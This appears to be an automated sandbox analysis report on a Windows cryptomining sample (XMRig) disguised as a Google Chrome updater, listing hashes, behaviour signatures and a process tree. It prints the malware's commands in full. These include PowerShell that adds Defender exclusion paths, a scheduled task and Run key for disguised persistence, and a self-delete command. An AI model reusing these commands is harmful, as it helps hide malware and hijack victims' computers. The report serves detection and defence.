Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
516s -
max time network
1786s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231129-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231129-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
-
Target
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
Processes:
EtPLMpbCyFJpMJr7.exeupdater.execonhost.exedescription pid process target process PID 1924 created 1284 1924 EtPLMpbCyFJpMJr7.exe Explorer.EXE PID 1924 created 1284 1924 EtPLMpbCyFJpMJr7.exe Explorer.EXE PID 1924 created 1284 1924 EtPLMpbCyFJpMJr7.exe Explorer.EXE PID 1924 created 1284 1924 EtPLMpbCyFJpMJr7.exe Explorer.EXE PID 2112 created 1284 2112 updater.exe Explorer.EXE PID 2112 created 1284 2112 updater.exe Explorer.EXE PID 2112 created 1284 2112 updater.exe Explorer.EXE PID 2112 created 1284 2112 updater.exe Explorer.EXE PID 1720 created 1284 1720 conhost.exe Explorer.EXE PID 2112 created 1284 2112 updater.exe Explorer.EXE -
XMRig Miner payload 27 IoCs
Processes:
resource yara_rule behavioral11/memory/1896-70-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1896-72-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1896-76-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1896-78-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1896-80-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1896-82-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1896-84-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1896-86-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1896-88-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1896-90-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1896-92-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1896-94-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1896-96-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1896-98-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1896-100-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1896-102-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1896-104-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1896-106-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1896-108-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1896-110-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1896-112-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1896-114-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1896-116-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1896-118-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1896-120-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1896-122-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral11/memory/1896-124-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
Processes:
cmd.exepid process 2736 cmd.exe -
Executes dropped EXE 1 IoCs
Processes:
updater.exepid process 2112 updater.exe -
Loads dropped DLL 1 IoCs
Processes:
taskeng.exepid process 2884 taskeng.exe -
Processes:
resource yara_rule behavioral11/memory/1896-65-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1896-70-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1896-72-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1896-76-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1896-78-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1896-80-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1896-82-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1896-84-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1896-86-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1896-88-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1896-90-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1896-92-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1896-94-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1896-96-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1896-98-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1896-100-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1896-102-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1896-104-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1896-106-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1896-108-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1896-110-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1896-112-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1896-114-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1896-116-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1896-118-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1896-120-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1896-122-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1896-124-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1896-126-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral11/memory/1896-128-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
updater.exedescription pid process target process PID 2112 set thread context of 1720 2112 updater.exe conhost.exe PID 2112 set thread context of 1896 2112 updater.exe conhost.exe -
Drops file in Program Files directory 4 IoCs
Processes:
cmd.execmd.exeEtPLMpbCyFJpMJr7.exeupdater.exedescription ioc process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe EtPLMpbCyFJpMJr7.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 2760 schtasks.exe 2856 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
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Modifies data under HKEY_USERS 3 IoCs
Processes:
powershell.exeWMIC.exedescription ioc process Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 70ae0e153151da01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
Processes:
EtPLMpbCyFJpMJr7.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.exepid process 1924 EtPLMpbCyFJpMJr7.exe 1924 EtPLMpbCyFJpMJr7.exe 1912 powershell.exe 1924 EtPLMpbCyFJpMJr7.exe 1924 EtPLMpbCyFJpMJr7.exe 2620 powershell.exe 1924 EtPLMpbCyFJpMJr7.exe 1924 EtPLMpbCyFJpMJr7.exe 1924 EtPLMpbCyFJpMJr7.exe 1924 EtPLMpbCyFJpMJr7.exe 2500 powershell.exe 2112 updater.exe 2112 updater.exe 2452 powershell.exe 2112 updater.exe 2112 updater.exe 1752 powershell.exe 2112 updater.exe 2112 updater.exe 2112 updater.exe 2112 updater.exe 1720 conhost.exe 1720 conhost.exe 2112 updater.exe 2112 updater.exe -
Suspicious use of AdjustPrivilegeToken 31 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exeupdater.exeWMIC.execonhost.exedescription pid process Token: SeDebugPrivilege 1912 powershell.exe Token: SeDebugPrivilege 2620 powershell.exe Token: SeDebugPrivilege 2500 powershell.exe Token: SeDebugPrivilege 2452 powershell.exe Token: SeDebugPrivilege 1752 powershell.exe Token: SeDebugPrivilege 2112 updater.exe Token: SeAssignPrimaryTokenPrivilege 3044 WMIC.exe Token: SeIncreaseQuotaPrivilege 3044 WMIC.exe Token: SeSecurityPrivilege 3044 WMIC.exe Token: SeTakeOwnershipPrivilege 3044 WMIC.exe Token: SeLoadDriverPrivilege 3044 WMIC.exe Token: SeSystemtimePrivilege 3044 WMIC.exe Token: SeBackupPrivilege 3044 WMIC.exe Token: SeRestorePrivilege 3044 WMIC.exe Token: SeShutdownPrivilege 3044 WMIC.exe Token: SeSystemEnvironmentPrivilege 3044 WMIC.exe Token: SeUndockPrivilege 3044 WMIC.exe Token: SeManageVolumePrivilege 3044 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 3044 WMIC.exe Token: SeIncreaseQuotaPrivilege 3044 WMIC.exe Token: SeSecurityPrivilege 3044 WMIC.exe Token: SeTakeOwnershipPrivilege 3044 WMIC.exe Token: SeLoadDriverPrivilege 3044 WMIC.exe Token: SeSystemtimePrivilege 3044 WMIC.exe Token: SeBackupPrivilege 3044 WMIC.exe Token: SeRestorePrivilege 3044 WMIC.exe Token: SeShutdownPrivilege 3044 WMIC.exe Token: SeSystemEnvironmentPrivilege 3044 WMIC.exe Token: SeUndockPrivilege 3044 WMIC.exe Token: SeManageVolumePrivilege 3044 WMIC.exe Token: SeLockMemoryPrivilege 1896 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
powershell.execmd.exepowershell.exetaskeng.exepowershell.exeupdater.execmd.exedescription pid process target process PID 2620 wrote to memory of 2760 2620 powershell.exe schtasks.exe PID 2620 wrote to memory of 2760 2620 powershell.exe schtasks.exe PID 2620 wrote to memory of 2760 2620 powershell.exe schtasks.exe PID 2736 wrote to memory of 2640 2736 cmd.exe choice.exe PID 2736 wrote to memory of 2640 2736 cmd.exe choice.exe PID 2736 wrote to memory of 2640 2736 cmd.exe choice.exe PID 2500 wrote to memory of 2540 2500 powershell.exe schtasks.exe PID 2500 wrote to memory of 2540 2500 powershell.exe schtasks.exe PID 2500 wrote to memory of 2540 2500 powershell.exe schtasks.exe PID 2884 wrote to memory of 2112 2884 taskeng.exe updater.exe PID 2884 wrote to memory of 2112 2884 taskeng.exe updater.exe PID 2884 wrote to memory of 2112 2884 taskeng.exe updater.exe PID 1752 wrote to memory of 2856 1752 powershell.exe schtasks.exe PID 1752 wrote to memory of 2856 1752 powershell.exe schtasks.exe PID 1752 wrote to memory of 2856 1752 powershell.exe schtasks.exe PID 2112 wrote to memory of 1720 2112 updater.exe conhost.exe PID 2912 wrote to memory of 3044 2912 cmd.exe WMIC.exe PID 2912 wrote to memory of 3044 2912 cmd.exe WMIC.exe PID 2912 wrote to memory of 3044 2912 cmd.exe WMIC.exe PID 2112 wrote to memory of 1896 2112 updater.exe conhost.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\EtPLMpbCyFJpMJr7.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵
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C:\Windows\system32\taskeng.exetaskeng.exe {EBB11E27-6015-42F4-B5D1-9B7370BBC7D3} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
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Downloads
-
C:\Program Files\Google\Chrome\updater.exeFilesize
723KB
MD51ae92f7fb01807e6ee428554e0fcc5f4
SHA14181ca456cf1aa527dc8f34c80e99a623d3b34d2
SHA2562e599f4bf910e9ba9c65d71b0ea84d945b0c64cd1717cb5ec6bebd24a0d7015c
SHA512f2d9d308692c00e4b7c35a4237062ef2c9aa3138492925e1a6b9c03fd83660726845a939c8e4c621f866bdf7fc61852c62d65269c0f48ffb082acbabd2bfbe5d
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C:\Program Files\Google\Chrome\updater.exeFilesize
874KB
MD5de3f9e6d8e85d967f76db76a731f9465
SHA173c9ad7cb2a9c8ae33e9339e7d2a42e22191fa76
SHA256ba4384cdfd848631938ce4d2bdb2a8496ba0dff0273dd8dbce4ad894852ae150
SHA5122fb0dbac210f4c9a36bdcd3fb89439ffab8c7316ee470b73992a912a2ef6f0ea88e747b0b6a0412f732fe9e922191ed94ec2e1c8685945d196cd874abc99e42a
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C:\Program Files\Google\Libs\g.logFilesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\18ZWR6XJ8FM4W3YMYX29.tempFilesize
7KB
MD5823f1706b9db75e9a86cad4280f29267
SHA132d92f749dbceb5056e2fe6604a66e12c61ffa69
SHA2563990b77fb587f8f2421f2e51b5f74298eaaa209727fc973301b967659e65b0f3
SHA51277dc45e8619147a3287015c085c78e2f28f28dd3044bc16ac56107373f456cbf43753bc103ca13d63cc6b631db524d8d4c0abb85e36dd02690fa5cd505964cbe
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\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
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\Program Files\Google\Chrome\updater.exeFilesize
609KB
MD53015bb8087adc6d0f4d54764b5b356d2
SHA1c709005b074e70098fb2e5ab7536b08f9229da35
SHA256bf123de675bf028a61758bcee0877a1494807f19b07f43fff4ff11eb658cfc92
SHA5125452689417aabb9c3139175b61a015d5aebb4aedce719b838b52ac932f25e2712c1a8cb2bdcc0542229a9f55257e0aa3213316de779c1f0cdae0704bdfa8a647
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memory/1720-69-0x0000000140000000-0x0000000140016000-memory.dmpFilesize
88KB
-
memory/1720-75-0x0000000140000000-0x0000000140016000-memory.dmpFilesize
88KB
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memory/1752-57-0x000007FEF5A40000-0x000007FEF63DD000-memory.dmpFilesize
